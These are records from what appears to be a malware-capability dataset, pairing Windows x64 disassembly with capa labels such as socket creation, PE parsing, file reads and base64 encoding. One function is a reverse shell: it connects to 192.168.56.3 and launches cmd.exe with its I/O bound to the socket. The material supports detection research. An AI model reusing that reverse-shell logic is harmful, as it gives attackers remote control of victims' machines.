joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001491
Capabilities:
Connect socket

Disassembly:
mov rcx, qword [0x1400070e0]
mov r8d, 0x10
lea rdx, [0x1400070d0]
jmp qword [sym.imp.WS2_32.dll_connect]

Function at 0x1400017b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400025f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400025f0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001820
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007314]
mov rbx, rcx
test esi, esi
jle 0x140001950
mov rax, qword [0x140007318]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000186b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001850
mov rcx, rbx
call fcn.140002290
mov rdi, rax
test rax, rax
je 0x140001972
mov rax, qword [0x140007318]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400023d0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007318]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001957
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001900
add dword [0x140007314], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007318]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400017b0
nop dword [rax]
xor esi, esi
jmp 0x140001878
mov rax, qword [0x140007318]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400017b0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400017b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001f00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007380]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007360]
test rbx, rbx
je 0x140001f5c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f53
test eax, eax
jne 0x140001f53
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002290
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004390]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000230d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002304
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022b0
add rax, 0x28
cmp rax, r9
jne 0x1400022f0
xor eax, eax
ret

Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004390]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000232f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002338
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000232f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004390]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002730
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push rdi
sub rsp, 0x150
call fcn.1400015a0
lea rdi, [rsp + 0x61]
xor edx, edx
movabs rax, 0x6578652e646d63
mov qword [rsp + 0x51], rax
mov ecx, 0xef
xor eax, eax
rep stosb byte [rdi], al
mov qword [rsp + 0x59], rdx
mov ecx, 0x202
lea rdx, [0x140007100]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
xor r9d, r9d
mov r8d, 6
mov edx, 1
lea rdi, str.192.168.56.3
mov dword [rsp + 0x28], eax
mov ecx, 2
mov dword [rsp + 0x20], eax
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov rcx, rdi
mov qword [0x1400070e0], rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [0x1400070c8], rax
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rdi
mov edx, 0x10
mov r8, rax
call qword [sym.imp.msvcrt.dll_strcpy_s]
call fcn.140001450
call fcn.140001491
xor eax, eax
mov ecx, 0x14
xor r8d, r8d
lea rdx, [0x140007060]
xor r9d, r9d
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [0x1400070e0]
mov qword [rsp + 0x40], rdx
lea rdi, [0x140007040]
xor edx, edx
mov dword [rsp + 0x28], r8d
xor r8d, r8d
mov qword [0x1400070c0], rax
mov qword [0x1400070b8], rax
mov qword [0x1400070b0], rax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov rdx, rax
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x20], 1
mov dword [0x140007060], 0x68
mov dword [0x14000709c], 0x101
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add rsp, 0x150
pop rdi
ret
Function at 0x18000e3d0
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
test r8, r8
jle 0x18000e466
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x18000e46d
mov r15, rsi
jmp 0x18000e42b
cmp r15, r14
cmovb r14, r15
mov rcx, rdi
mov r8, r14
call fcn.180051ab0
add rdi, r14
sub r15, r14
mov rax, qword [rbx + 0x50]
sub dword [rax], r14d
mov rax, qword [rbx + 0x38]
add qword [rax], r14
test r15, r15
jle 0x18000e45e
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x18000e443
mov rax, qword [rbx + 0x50]
mov r14d, dword [rax]
test r14d, r14d
jg 0x18000e400
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18000e45e
mov byte [rdi], al
inc rdi
dec r15
test r15, r15
jg 0x18000e42b
sub rsi, r15
jmp 0x18000e55a
xor esi, esi
jmp 0x18000e55a
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x18000e4c0
mov rax, qword [rbx + 0x50]
movsxd r15, dword [rax]
test r15, r15
je 0x18000e4c0
cmp r15, rsi
cmovae r15, rsi
mov rcx, rdi
mov r8, r15
call fcn.180051ab0
add rdi, r15
mov r14, rsi
sub r14, r15
mov rax, qword [rbx + 0x50]
sub dword [rax], r15d
mov rax, qword [rbx + 0x38]
movsxd rcx, r15d
add qword [rax], rcx
cmp qword [rbx + 0x80], 0
jne 0x18000e4d1
jmp 0x18000e557
mov r14, rsi
cmp qword [rbx + 0x80], 0
je 0x18000e557
mov rax, qword [rbx + 0x18]
lea rcx, [rbx + 0x70]
cmp qword [rax], rcx
jne 0x18000e500
mov ecx, dword [rbx + 0x90]
mov rdx, qword [rbx + 0x88]
mov qword [rax], rdx
mov rax, qword [rbx + 0x38]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rbx + 0x50]
mov dword [rax], ecx
nop dword [rax]
cmp r14, 0x1000
jb 0x18000e533
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.180032f34
add rdi, rax
sub r14, rax
cmp rax, 0xfff
je 0x18000e500
jmp 0x18000e557
test r14, r14
je 0x18000e554
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, r14
call fcn.180032f34
sub r14, rax
jmp 0x18000e557
xor r14d, r14d
sub rsi, r14
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x18001bf80
Capabilities:
Get file size
Read file via mapping

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rdi, rdx
cmp qword [rcx + 0x18], 8
jb 0x18001bf96
mov rcx, qword [rcx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor ebx, ebx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x18001c048
mov rsi, rax
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18001c055
mov rax, qword [rsp + 0x40]
mov qword [rdi], rax
mov r9, rax
shr r9, 0x20
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 0
xor ebx, ebx
mov rcx, rsi
xor edx, edx
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test rax, rax
je 0x18001c03f
mov r14, rax
mov rax, qword [rdi]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
xor ebx, ebx
jmp 0x18001c03f

Function at 0x180025b80
Capabilities:
Encode data using xor

Disassembly:
mov r8, qword [rcx + 0x10]
test r8, r8
je 0x180025c78
cmp qword [rcx + 0x18], 0x10
jb 0x180025b97
mov rcx, qword [rcx]
mov rax, r8
and rax, 3
je 0x180025be7
xor r9d, r9d
nop word cs:[rax + rax]
movzx r10d, byte [rcx + r9]
add r10d, edx
mov r11d, r10d
shl r11d, 0xa
add r11d, r10d
mov edx, r11d
shr edx, 6
xor edx, r11d
inc r9
cmp rax, r9
jne 0x180025bb0
add rcx, r9
mov rax, r8
sub rax, r9
cmp r8, 4
jae 0x180025bf4
jmp 0x180025c78
mov rax, r8
cmp r8, 4
jb 0x180025c78
xor r8d, r8d
nop word [rax + rax]
movzx r9d, byte [rcx + r8]
add r9d, edx
mov edx, r9d
shl edx, 0xa
add edx, r9d
mov r9d, edx
shr r9d, 6
xor r9d, edx
movzx edx, byte [rcx + r8 + 1]
add edx, r9d
mov r9d, edx
shl r9d, 0xa
add r9d, edx
mov edx, r9d
shr edx, 6
xor edx, r9d
movzx r9d, byte [rcx + r8 + 2]
add r9d, edx
mov edx, r9d
shl edx, 0xa
add edx, r9d
mov r9d, edx
shr r9d, 6
xor r9d, edx
movzx edx, byte [rcx + r8 + 3]
add edx, r9d
mov r9d, edx
shl r9d, 0xa
add r9d, edx
mov edx, r9d
shr edx, 6
xor edx, r9d
add r8, 4
cmp rax, r8
jne 0x180025c00
lea eax, [rdx + rdx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
mov eax, ecx
shl eax, 0xf
add eax, ecx
ret
Function at 0x180026850
Capabilities:
Encode data using base64

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, rdx
mov rsi, rcx
lea rax, [r8 + 2]
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov r15, rdx
add r15, rdx
xorps xmm0, xmm0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
and r15, 0xfffffffffffffffc
js 0x180026abb
mov ebx, r9d
mov r14, r8
cmp r15, 0xf
ja 0x1800269c5
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 0xf
mov rcx, rsi
xor edx, edx
mov r8, r15
call fcn.180052150
add r15, rsi
mov r12, r15
mov byte [r12], 0
cmp qword [rsi + 0x18], 0x10
mov rax, rsi
jb 0x1800268df
mov rax, qword [rsi]
mov rcx, qword [rbp + 0x70]
cmp r14, 3
jb 0x1800269fe
lea r8, [r14 - 2]
xor edx, edx
nop word cs:[rax + rax]
movzx r9d, byte [rdi + rdx]
shr r9d, 2
movzx r9d, byte [rcx + r9]
mov byte [rax], r9b
movzx r9d, byte [rdi + rdx]
shl r9d, 4
and r9d, 0x30
movzx r10d, byte [rdi + rdx + 1]
shr r10d, 4
or r10d, r9d
movzx r9d, byte [rcx + r10]
mov byte [rax + 1], r9b
movzx r9d, byte [rdi + rdx + 1]
and r9d, 0xf
movzx r10d, byte [rdi + rdx + 2]
shr r10d, 6
lea r9d, [r10 + r9*4]
movzx r9d, byte [rcx + r9]
mov byte [rax + 2], r9b
movzx r9d, byte [rdi + rdx + 2]
and r9d, 0x3f
movzx r9d, byte [rcx + r9]
mov byte [rax + 3], r9b
add rax, 4
add rdx, 3
cmp rdx, r8
jb 0x180026900
cmp rdx, r14
jae 0x180026a09
movzx r8d, byte [rdi + rdx]
shr r8d, 2
movzx r8d, byte [rcx + r8]
mov byte [rax], r8b
dec r14
movzx r8d, byte [rdi + rdx]
shl r8d, 4
and r8d, 0x30
cmp rdx, r14
jne 0x180026a51
movzx ecx, byte [rcx + r8]
mov byte [rax + 1], cl
test bl, bl
je 0x180026a84
mov byte [rax + 2], 0x3d
mov byte [rax + 3], 0x3d
jmp 0x180026aa7
mov rax, r15
or rax, 0xf
cmp rax, 0x17
mov r13d, 0x16
cmovae r13, rax
cmp r13, 0xfff
jb 0x180026a12
lea rcx, [r13 + 0x28]
call fcn.180028ef8
mov r12, rax
add r12, 0x27
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x180026a1e
xor edx, edx
cmp rdx, r14
jb 0x18002697e
test bl, bl
je 0x180026a84
jmp 0x180026aa7
lea rcx, [r13 + 1]
call fcn.180028ef8
mov r12, rax
mov qword [rsi], r12
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r13
mov rcx, r12
xor edx, edx
mov r8, r15
call fcn.180052150
add r12, r15
mov byte [r12], 0
cmp qword [rsi + 0x18], 0x10
mov rax, rsi
jae 0x1800268dc
jmp 0x1800268df
movzx r9d, byte [rdx + rdi + 1]
shr r9d, 4
movzx r8d, r8b
or r8, r9
movzx r8d, byte [rcx + r8]
mov byte [rax + 1], r8b
movzx edx, byte [rdx + rdi + 1]
and edx, 0xf
movzx ecx, byte [rcx + rdx*4]
mov byte [rax + 2], cl
test bl, bl
je 0x180026a84
mov byte [rax + 3], 0x3d
jmp 0x180026aa7
cmp qword [rsi + 0x18], 0x10
mov rdi, rsi
jb 0x180026a91
mov rdi, qword [rsi]
mov rcx, rdi
call fcn.180031b20
cmp qword [rsi + 0x10], rax
jb 0x180026ac0
mov qword [rsi + 0x10], rax
mov byte [rdi + rax], 0
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.180004f40
call fcn.18000b960
int3
Function at 0x18002b058
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.18002a9f8
mov ebx, eax
test eax, eax
jne 0x18002b088
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x18002b0e4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18002b0db
test al, 0x10
je 0x18002b0db
bt eax, 0xa
jae 0x18002b0d4
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.18002b0fc
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x18002b0d0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x18002b0f4
test edi, edi
jne 0x18002b0db
and dword [rsp + 0x3c], 0
jmp 0x18002b0e0
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call fcn.18003d38c
int3

Function at 0x18002b2c4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x18002b2fe
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x18002b303
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18002b34c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x180055c10]
cmp byte [rcx + rax], 0
je 0x18002b34c
dec r8
sub rdx, 1
jne 0x18002b332
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x180042714
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18004272a
mov al, 1
jmp 0x18004278a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18004273b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180042788
mov ecx, dword [rcx + 0x18]
nop
call fcn.18004c660
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180042788
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180042788
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180042788
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18004278a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180042f88
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800747f0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180042fdf
cmp word [rdx], r13w
jne 0x180042fdf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180042fe4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180043109
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18004312a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18004301d
mov rdx, r9
mov word [rbx], cx
jmp 0x180043044
cmp r9, r8
jae 0x180043054
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180042ffe
jmp 0x180043109
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800430fe
cmp dword [rsp + 0x80], esi
je 0x1800430fe
lea r8, [0x1800747f0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1800430d6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1800430a6
mov word [rbx], r13w
jmp 0x180043106
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1800430b3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180043106
cmp word [rsp + 0x70], r13w
jne 0x1800430e3
cmp rbx, r14
je 0x1800430a0
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180044188
cmp word [rsp + 0x70], r13w
je 0x180043109
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800747f0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180043103
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180043109
Function at 0x180043c98
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180051350
sub rsp, rax
mov rax, qword [0x180071640]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18004192c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180043ce7
mov rax, rbp
jmp 0x180043def
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x747f0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180044180
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x747f0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180043deb
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180043deb
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180044180
test rax, rax
js 0x180043deb
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180043deb
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180043ddd
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180043ddd
cmp byte [rcx], 0xd
jne 0x180043dc3
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180043dd2
cmp byte [rcx + 1], 0xa
jne 0x180043dd2
inc rcx
jmp 0x180043dd2
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x71ab0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180043da5
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180043def
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180051320
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800472f4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180047324
xor eax, eax
jmp 0x1800473e7
mov rbp, rbx
cmp word [rax], si
je 0x180047349
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180047330
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18004732c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180047214
movsxd r14, eax
test eax, eax
jne 0x180047387
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18004731d
mov rcx, r14
call fcn.180044754
mov rdi, rax
test rax, rax
jne 0x1800473a0
xor ecx, ecx
call fcn.180040234
jmp 0x18004737c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180047214
test eax, eax
jne 0x1800473d1
mov rcx, rdi
call fcn.180040234
jmp 0x1800473db
xor ecx, ecx
call fcn.180040234
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180047404
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x18004748b
mov rsi, rbx
cmp word [rax], bp
je 0x18004744a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x180047434
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x180047430
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.180044754
mov rdi, rax
test rax, rax
je 0x180047478
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180051ab0
mov rbp, rdi
xor ecx, ecx
call fcn.180040234
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret